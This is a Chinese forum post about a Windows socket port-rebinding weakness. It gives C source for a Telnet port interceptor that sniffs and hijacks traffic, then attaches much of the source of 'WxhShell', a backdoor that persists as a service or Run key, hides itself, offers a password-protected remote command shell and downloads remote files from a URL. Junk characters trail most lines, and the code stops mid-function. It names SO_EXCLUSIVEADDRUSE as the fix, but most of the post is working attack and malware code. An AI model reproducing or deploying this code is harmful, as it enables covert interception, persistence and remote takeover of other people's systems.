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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4d@yAr}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x|rc[e%k  
'^m.vS!/  
  saddr.sin_family = AF_INET; A*y4<'}<  
[<R haZz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ep.wW  
bkV<ZUW|;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5E'/8xpbB  
xSmG,}3mF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c| ^I}  
x.+T65X~4  
  这意味着什么?意味着可以进行如下的攻击: lFBpNUnzU  
?.46X^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `q*[fd1u.  
7 m{lOR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bej(Ds0  
^5sA*%T4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !<p,G`r  
b w P=f.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /4an@5.\C  
H0afu)$,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YhN<vZ}U!~  
|H?t+Dyn)q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t eY@) F  
W@T \i2r$z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `}Zqmfs  
RpivO,   
  #include l )%PvLbL  
  #include {rKC4:  
  #include >O-KJZ'GV  
  #include    dR S:S_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %biie  
  int main() )^ah, ;(  
  { "v1{  
  WORD wVersionRequested; q?}C`5%D  
  DWORD ret; }=-0 DSLVj  
  WSADATA wsaData; ;qWu8\T+  
  BOOL val; 9J3fiA_  
  SOCKADDR_IN saddr; vjS`;^9  
  SOCKADDR_IN scaddr; ZxF`i>/h  
  int err; @_+aX.,  
  SOCKET s; `8!9Fp  
  SOCKET sc; l_h:S`z.  
  int caddsize; _,J+b R+b  
  HANDLE mt; YYe G9yR  
  DWORD tid;   Hl$W+e|tj  
  wVersionRequested = MAKEWORD( 2, 2 ); bk0>f   
  err = WSAStartup( wVersionRequested, &wsaData ); N:lfKI  
  if ( err != 0 ) { C"I jr=w  
  printf("error!WSAStartup failed!\n"); E4 X6f  
  return -1; :PO./IBX  
  } UGcmzwE  
  saddr.sin_family = AF_INET; ?:"ABkL|+Y  
   P<PZ4hNx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p!UR;xHI\  
>d + }$dB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nfa&r  
  saddr.sin_port = htons(23); M"3"6U/e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _**Nlp*%  
  { j, 0`k  
  printf("error!socket failed!\n"); 'UlVc2%{  
  return -1; d[a(u WEl  
  } kXz ~ez 7  
  val = TRUE; %qc_kQ5%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i~';1 .g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LF7- ?? '  
  { m}"Hm(,6  
  printf("error!setsockopt failed!\n"); bZ`v1d (r  
  return -1; (0 T!- hsP  
  } -#Zdf |  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J"r?F0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c1f"z1Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tsb[=W!Ar8  
(nqry[g&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ',EI[ ]+  
  { :HY$x  
  ret=GetLastError(); <`nShP>vl  
  printf("error!bind failed!\n"); N5?bflY  
  return -1; Gx C+lqH#  
  } H*W>v[>  
  listen(s,2); @| z _&E  
  while(1) 6 U.Jaai:  
  { M$K%e  
  caddsize = sizeof(scaddr); V*?cMJ_G  
  //接受连接请求 5Tl5T&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )9eI o&Nl  
  if(sc!=INVALID_SOCKET) :kgh~mx5LF  
  { CS[]T9|_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \J^#2{d  
  if(mt==NULL) [ws _ g,/  
  { o 4F'z  
  printf("Thread Creat Failed!\n"); !Tnjha*  
  break; tYjG8P#  
  } o}AXp@cqi  
  } ^'X I%fEf  
  CloseHandle(mt); #NM)  
  } {Ze Y:\G~  
  closesocket(s); 65LtCQ }  
  WSACleanup(); m\>gOTpA4  
  return 0; ~5HkDtI)  
  }   tT]@yo|?e/  
  DWORD WINAPI ClientThread(LPVOID lpParam) <pX?x3-'  
  { BE?]P?r?  
  SOCKET ss = (SOCKET)lpParam; v-8>@s jy8  
  SOCKET sc; N3G9o`k  
  unsigned char buf[4096]; lSX1|,B7:]  
  SOCKADDR_IN saddr; /M2in]oH  
  long num;  Zmu  
  DWORD val; b**vUt\  
  DWORD ret; Y '/6T]a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wv\X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mEY#QN[eq  
  saddr.sin_family = AF_INET; Gk:fw#R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ";/]rwHa)  
  saddr.sin_port = htons(23); MdBmq/[O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z`-$b~0  
  { 1< !P:@(  
  printf("error!socket failed!\n"); u&~Xgq5[  
  return -1; <'=!f6Wh  
  } e r3M vw  
  val = 100; %FjUtB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <F3{-f'Rx  
  { N'b GL%  
  ret = GetLastError(); x1:mT[[$  
  return -1; <#0i*PM_  
  } vQ< ~-E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dw i-iA_q  
  { 7-S?RU]g  
  ret = GetLastError(); h8V*$  
  return -1; ANm@$xO*  
  } YJ~<pH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _9BL7W $;  
  { "~Fg-{jM%  
  printf("error!socket connect failed!\n"); m=}h7&5p  
  closesocket(sc); U5"u h} 3  
  closesocket(ss); =1[_#Moc6  
  return -1; YdD; Qx#O  
  } MZ3 8=nJ  
  while(1) g1t6XVS$9  
  { hWly8B[I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CaYb}.:AX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |lhnCShw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HxbzFu?h  
  num = recv(ss,buf,4096,0); W B:0}b0Gu  
  if(num>0) ~ZafTCa;  
  send(sc,buf,num,0); nf pO  
  else if(num==0) >33=0<  
  break; RxP~%oADw  
  num = recv(sc,buf,4096,0); her>L3G-E  
  if(num>0) 7nPg2K&  
  send(ss,buf,num,0); sm18u-  
  else if(num==0) i&DbZ=n2  
  break; DVd8Ix<  
  } fDr$Wcd~  
  closesocket(ss); WSpF/Wwc  
  closesocket(sc); -#I]/7^  
  return 0 ; )B]"""J  
  } .$~3RjM  
2wpJ)t*PF  
P 0\`4Cr!  
========================================================== 3nBZ+n4z  
La6 9or   
下边附上一个代码,,WXhSHELL !W XV1S  
aH;AGbp  
========================================================== { {?-& yA  
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#include "stdafx.h" |}{gE=]  
O#.YTTj  
#include <stdio.h> 2:Yvr_L  
#include <string.h> QP~["%}T  
#include <windows.h> DWtITO>  
#include <winsock2.h> 1*A^v  
#include <winsvc.h> l4DBGZB  
#include <urlmon.h> zsQ]U!*rD  
[%^0L~:  
#pragma comment (lib, "Ws2_32.lib") 8}yrsF #  
#pragma comment (lib, "urlmon.lib") 5H Cw%n9  
>4@w|7lS  
#define MAX_USER   100 // 最大客户端连接数 a )lCp  
#define BUF_SOCK   200 // sock buffer KxErWP%  
#define KEY_BUFF   255 // 输入 buffer 2RZa}  
.+(ED  
#define REBOOT     0   // 重启 7&,$  
#define SHUTDOWN   1   // 关机 {_tq6ja-<  
%KF I~Qk  
#define DEF_PORT   5000 // 监听端口 ms3"  
<f (z\pi1  
#define REG_LEN     16   // 注册表键长度 Lp%J:ogV`  
#define SVC_LEN     80   // NT服务名长度 =zH)R0!eG  
"~ =O`5V  
// 从dll定义API ~;6^n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O-.G("  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qJ5b;=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #[i3cn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U;kN o3=  
?6"U('y>n  
// wxhshell配置信息 'hu'}F{  
struct WSCFG { 7 2i&-`&4  
  int ws_port;         // 监听端口 S*n5d>;  
  char ws_passstr[REG_LEN]; // 口令 $$Tf1hIg  
  int ws_autoins;       // 安装标记, 1=yes 0=no "%Ief4  
  char ws_regname[REG_LEN]; // 注册表键名 qYoU\y7  
  char ws_svcname[REG_LEN]; // 服务名 d_:f-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9b6U] z,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e{5O>RO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zk1]?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8 # BR\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g?iZ RM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <iH   
]2ab~ gr  
}; djoP`r  
E3{kH 7_'\  
// default Wxhshell configuration IR3+BDE)>  
struct WSCFG wscfg={DEF_PORT, H`k YDp  
    "xuhuanlingzhe", \PZ;y=]p}  
    1, pm9sI4S  
    "Wxhshell", D'%M#S0   
    "Wxhshell", ^N^s|c'  
            "WxhShell Service", %jx<<hW  
    "Wrsky Windows CmdShell Service", T+gH38!e  
    "Please Input Your Password: ", 89KFZ[.}]  
  1, ffI=Bt]t  
  "http://www.wrsky.com/wxhshell.exe", ^} Y}Iz  
  "Wxhshell.exe" [uJS. `b  
    }; v.sjWF  
 `wIWK7i  
// 消息定义模块 F( /Ka@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~-G_c=E?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yW*,Llb5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I\-M`^@  
char *msg_ws_ext="\n\rExit."; ,dosF Q  
char *msg_ws_end="\n\rQuit."; :}q)]W  
char *msg_ws_boot="\n\rReboot..."; yK"HHdYTV  
char *msg_ws_poff="\n\rShutdown...";  6cjCn  
char *msg_ws_down="\n\rSave to "; x1Z'_Qw  
mBB"e"o  
char *msg_ws_err="\n\rErr!"; '"c`[L7Wn  
char *msg_ws_ok="\n\rOK!"; OXl0R{4  
eNH9`Aa  
char ExeFile[MAX_PATH]; ugj I$u  
int nUser = 0; U|QP] 6v  
HANDLE handles[MAX_USER]; hpbi!g  
int OsIsNt; }G^'y8U  
XL;WU8>  
SERVICE_STATUS       serviceStatus; K:VZ#U(_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9D,!]  
8N |K   
// 函数声明 S{)K_x  
int Install(void); B\aVE|~PB  
int Uninstall(void); Hj`\Fm*A  
int DownloadFile(char *sURL, SOCKET wsh); |+[Y_j  
int Boot(int flag); j B1ZF#  
void HideProc(void); nWK7*  
int GetOsVer(void); RFSwX*!  
int Wxhshell(SOCKET wsl); a3A3mBw  
void TalkWithClient(void *cs); :AQ9-&i/a-  
int CmdShell(SOCKET sock); rR/{Yx4  
int StartFromService(void); P0sAq7"  
int StartWxhshell(LPSTR lpCmdLine); \"L0d1DK)  
1D!MXYgm1b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  !I&,!$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =\MAz[IDj  
'.gi@Sr5  
// 数据结构和表定义 @Jqo'\~&  
SERVICE_TABLE_ENTRY DispatchTable[] = IAN={";p  
{ XWNo)#_3  
{wscfg.ws_svcname, NTServiceMain}, E.0J94>iM  
{NULL, NULL} 8\C][ y  
}; D6fd(=t1Z  
mH\2XG8nV  
// 自我安装 =[Z3]#h  
int Install(void)  T-+ uQ3  
{ ?1O` Rd{tn  
  char svExeFile[MAX_PATH]; 5'V-Ly)*%  
  HKEY key; ^K4?uABc  
  strcpy(svExeFile,ExeFile); \~Ml<3Zd:  
a({N}ZDo  
// 如果是win9x系统,修改注册表设为自启动 Bga4kjfmk  
if(!OsIsNt) { rQ2TPX<?a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3` D['  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Br{(sL0e  
  RegCloseKey(key); =FiO{Aw`N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {9Ok^O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KDV.ZSF7  
  RegCloseKey(key); ?| 6sTu!  
  return 0; [f[Wz{Q#Y  
    } bC) <K/Q9  
  } ?4aW^l6/  
} 1A#/70Mo  
else { X8R:9q_  
EQw7(r|v:  
// 如果是NT以上系统,安装为系统服务 c6h+8QS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); / ;[x3}[  
if (schSCManager!=0) SXvflr] =m  
{ :)T*:51{#  
  SC_HANDLE schService = CreateService ;mGPX~38  
  ( /EegP@[  
  schSCManager, 0L,!o[L*  
  wscfg.ws_svcname, #N~1Y e  
  wscfg.ws_svcdisp, fBz|-I:k +  
  SERVICE_ALL_ACCESS, dV}]\ 8N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &@BAVc z  
  SERVICE_AUTO_START, l%?4L/J)#  
  SERVICE_ERROR_NORMAL, ,w9| ?%S  
  svExeFile, .)p%|A#^  
  NULL, kCoE;)y$  
  NULL, L<B)BEE.  
  NULL,  '.>y'=  
  NULL, X?&{< vz  
  NULL Br42Qo2"T>  
  ); utl-#Wwt/  
  if (schService!=0) @$;8k }  
  { I3'UrKKO  
  CloseServiceHandle(schService); ?U O aqcL  
  CloseServiceHandle(schSCManager); `_i|\}tl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v<<ATs%w  
  strcat(svExeFile,wscfg.ws_svcname); | WTWj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G!G:YVWXP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %B1)mA;  
  RegCloseKey(key); Tr|PR t  
  return 0; Y|J=72!]  
    } Ht/#d6cQ  
  } G`Z<a  
  CloseServiceHandle(schSCManager); >}2 ,2  
} %X}vuE[[UC  
} Doq}UWp  
D]rYg'  
return 1; nt-_)4Fm  
} C+jXH)|iq  
x>tm[k  
// 自我卸载 v0=v1G*rvJ  
int Uninstall(void) S#HeOPRL  
{ Gm9  
  HKEY key; *tk=DsRW  
\.p; 4V&  
if(!OsIsNt) { /me ]sOkn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RP[`\  
  RegDeleteValue(key,wscfg.ws_regname); eH!V%dX  
  RegCloseKey(key); [wiB1{/Ls.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .J&89I]U  
  RegDeleteValue(key,wscfg.ws_regname); "L1LL iS  
  RegCloseKey(key); U>bIQk"4  
  return 0; _3wK: T{:  
  } GM1.pVb  
} f&$;iE  
} &)JoB  
else { @ ,;h!vB*=  
hA1B C3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YWDgRb  
if (schSCManager!=0) e6tU8`z  
{ m .(\u?J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T5e#Ll/  
  if (schService!=0) }R5EuR m\  
  { 4g}r+!T  
  if(DeleteService(schService)!=0) { 9(}d7y  
  CloseServiceHandle(schService); &DHIYj1 i  
  CloseServiceHandle(schSCManager); *8;<w~  
  return 0; -aE,KQ  
  } %[9ty`UE  
  CloseServiceHandle(schService); eY^zs0  
  } j)@{_tv6;  
  CloseServiceHandle(schSCManager); "oFi+']*  
} f}4A ,%:1  
} bj 8pqw|;  
4KSq]S.  
return 1; aaN/HE_  
} _s5FYb#  
t0v >J9  
// 从指定url下载文件 V EsM  
int DownloadFile(char *sURL, SOCKET wsh) 8y_(Iu|:  
{ 5 $$Cav  
  HRESULT hr; %21|-B  
char seps[]= "/"; vdB2T2F  
char *token; }lhk;#r  
char *file; K3h7gY|.  
char myURL[MAX_PATH];  6GVAR  
char myFILE[MAX_PATH]; w'$>E4\   
LikCIO  
strcpy(myURL,sURL); x5pu+-h  
  token=strtok(myURL,seps); <|X+T,  
  while(token!=NULL) (a-Lx2T  
  { 1=sL[I7<  
    file=token; 0`p"7!r  
  token=strtok(NULL,seps); n_LK8  
  } |wQ3+WN|  
{}iS5[H]  
GetCurrentDirectory(MAX_PATH,myFILE); COw!a\Jl  
strcat(myFILE, "\\"); "iX\U'`  
strcat(myFILE, file); (Pw,3CbJ  
  send(wsh,myFILE,strlen(myFILE),0); Otq1CD9  
send(wsh,"...",3,0); "-MB U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KU0Ad);e  
  if(hr==S_OK) ;!t?*  
return 0; WS.g` %  
else #r?[@aJ  
return 1; T<Qa`|5 >  
 Z,O-P9jC  
} C\ Yf]J  
7^M$u\a)U  
// 系统电源模块 eX}aa0  
int Boot(int flag) AS~!YR  
{ hy%5LV<(  
  HANDLE hToken; f2SJ4"X  
  TOKEN_PRIVILEGES tkp; %_B2/~  
c>3? T^=  
  if(OsIsNt) { @W$ha y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]>k8v6*=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q{b-2k  
    tkp.PrivilegeCount = 1; 60A!Gob  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nec}grA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v JVh%l+  
if(flag==REBOOT) { Xc" %-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $XMpC{  
  return 0; 3K/ tB1  
} ;YMg 4Cs  
else { HUCJA-OZGL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d=uGB"  
  return 0; ,mi7WW9  
} FyPG5-  
  } :~srl)|)  
  else { .Z"`:4O   
if(flag==REBOOT) { kdV9F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;E.f%   
  return 0; -J#RGB{7  
} |/%5~=%7  
else { \*b  .f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;C:|m7|  
  return 0; Gx}`_[-  
} xWK/uE(  
} rbIYLVA+V  
k4u/v n`&r  
return 1; AcXVfk z  
} >b5 ;I1o=y  
U@n5:d=  
// win9x进程隐藏模块 /]-yZ0hX0O  
void HideProc(void) wpi$-i`  
{ 1-PlRQs.1  
*fv BB9raq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {[Y7h}7  
  if ( hKernel != NULL ) `"yxmo*0  
  { *!*%~h8V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); birc&<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xVX:kDX  
    FreeLibrary(hKernel); ^ACrWk~UY  
  } bqA`oRb\  
-vY5h%7kf  
return; Buh}+n2]5  
} *jPd=+d  
!7)#aXt&  
// 获取操作系统版本 ]o0]i<:  
int GetOsVer(void) j&Xx{ 4v  
{ .j^BWr  
  OSVERSIONINFO winfo; /^\E:(RH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2QAP$f0Ln  
  GetVersionEx(&winfo); p8@&(+z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ']I!1>v$[  
  return 1; o,c}L9nvt  
  else pnz:<V"Y(  
  return 0; /BQqg0 8@L  
} |K{ d5\_  
AJ& j|/  
// 客户端句柄模块 qq<T~^  
int Wxhshell(SOCKET wsl) X/vyb^:U  
{ ^ +@OiL>&i  
  SOCKET wsh; V.qH&FJ=l  
  struct sockaddr_in client; xf,A<j (o  
  DWORD myID; w $-q&  
G}+@C]  
  while(nUser<MAX_USER) gCiM\Qx  
{ |3T2}ohrr  
  int nSize=sizeof(client); oA7DhU5n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DmPsE6G}  
  if(wsh==INVALID_SOCKET) return 1; 'xG J;pY  
'bSWJ/;p)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *>mjUT}cP  
if(handles[nUser]==0) BN%cX 2j  
  closesocket(wsh); H&p:  
else :3D6OBkB  
  nUser++; Y*\h?p[,  
  } DbFe;3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ISFNP&& K  
|?Edk7`  
  return 0; 8M,@Mb n  
} $':5uU1}  
A[7H-1-  
// 关闭 socket z[<Na3]  
void CloseIt(SOCKET wsh) U5~aG!E  
{ ,]:< l  
closesocket(wsh); O< /b]<[  
nUser--; r nr-wUW@  
ExitThread(0); N wNxO  
} V V}"zc^  
sZr \mQ~  
// 客户端请求句柄 lZ[J1:%  
void TalkWithClient(void *cs) ~1}fL 1~5  
{ w6X:39d  
fiA8W  
  SOCKET wsh=(SOCKET)cs; HK<S|6B7V  
  char pwd[SVC_LEN]; %k['<BYG<  
  char cmd[KEY_BUFF]; G!I5Er0pdy  
char chr[1]; [f  lK  
int i,j; $ ~%Y}Xt*  
0)b1'xt',  
  while (nUser < MAX_USER) { wXqwb|2  
tx9 %.)M:n  
if(wscfg.ws_passstr) { " j?xgV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9e>2kd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mk!8>XvM  
  //ZeroMemory(pwd,KEY_BUFF); SSE,G!@  
      i=0; e],(d7Jo  
  while(i<SVC_LEN) { P, l (4  
oPaoQbR(A  
  // 设置超时 Ank_;jo  
  fd_set FdRead; @}!?}QU  
  struct timeval TimeOut; m,q)lbRl  
  FD_ZERO(&FdRead); >.od(Fh{l|  
  FD_SET(wsh,&FdRead); +MaEet  
  TimeOut.tv_sec=8; ONcLhwH  
  TimeOut.tv_usec=0; M.MQ?`_"b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L[*cbjt[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MMET^SO  
<b _K*]Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rDoMz3[w  
  pwd=chr[0]; tK{#kApHGG  
  if(chr[0]==0xd || chr[0]==0xa) { l$c/!V[3  
  pwd=0; <kwF<J  
  break; Rc4=zimr+  
  } |4j6}g\  
  i++; 4h--x~ @  
    } |P|2E~[r  
mr#.uhd.z  
  // 如果是非法用户,关闭 socket mdrqX<x'~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :PY8)39@K  
} Y`-q[F?\y  
#>lbpw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PlA#xnq#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "10\y{`v^  
[] "bn9 +  
while(1) { R N@)nc_  
^*$!9~  
  ZeroMemory(cmd,KEY_BUFF); ,d_rK\J  
\vV]fX   
      // 自动支持客户端 telnet标准   4K`b?{){+a  
  j=0; eUCBQK  
  while(j<KEY_BUFF) { z%+rI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f!5w+6(  
  cmd[j]=chr[0]; tK*y/S  
  if(chr[0]==0xa || chr[0]==0xd) { i-4L{T\K  
  cmd[j]=0;  DQV9=  
  break; |+sAqx1IF  
  } 8 E l hcs  
  j++; "ixea- 2  
    } ~/aCzx~  
W)  
  // 下载文件 MuzQ z.C  
  if(strstr(cmd,"http://")) { Rh ]XJM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FdEUZ[IT`{  
  if(DownloadFile(cmd,wsh)) ttlMZLX{TJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?/sn"~"  
  else d >zC[]1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8$iHd  
  } u:W/6QS  
  else { l>s@&%;Mg  
Q/j#Pst  
    switch(cmd[0]) { 4JO 16  
  tr/.pw6  
  // 帮助 5t_Dt<lIz  
  case '?': { c3PA<q[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ).e}.Z6[i`  
    break; r_tt~|s,>  
  } r6aIW8  
  // 安装 8o $ ` '  
  case 'i': { i=P}i8,^ =  
    if(Install()) hV) `e"r\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RwrRN+&s\  
    else |_+l D|'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SsfC m C  
    break; s+&0Z3+  
    } 1Id"|/b%$  
  // 卸载 gCVOm-*:  
  case 'r': { p-DHTX  
    if(Uninstall()) pbWjTI$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D,=#SBJ:Z  
    else Ja/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qr6PkHU  
    break; e$`hRZ%  
    } H}CmSo8&  
  // 显示 wxhshell 所在路径 I};*O6D`  
  case 'p': { 3%Q9521  
    char svExeFile[MAX_PATH]; jPx}-_jM  
    strcpy(svExeFile,"\n\r"); QX=x^(M$m  
      strcat(svExeFile,ExeFile); 1O,8=,K2a  
        send(wsh,svExeFile,strlen(svExeFile),0); &=:3/;c  
    break; vO/3bu}  
    } #ZnNJ\6  
  // 重启 a <F2]H=J  
  case 'b': { > XM]UdP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tAY{+N]f  
    if(Boot(REBOOT)) #<u;.'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PQh s^D  
    else { Jm< uE]9  
    closesocket(wsh);  tL<.B  
    ExitThread(0); fl2XI=[v4  
    } zf^|H% ~^  
    break; \ptjnwC^O  
    } Unb3 Gv#O  
  // 关机 n;>=QG -v  
  case 'd': { vEGI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E'SDT*EI  
    if(Boot(SHUTDOWN)) L*vKIP<EMM  
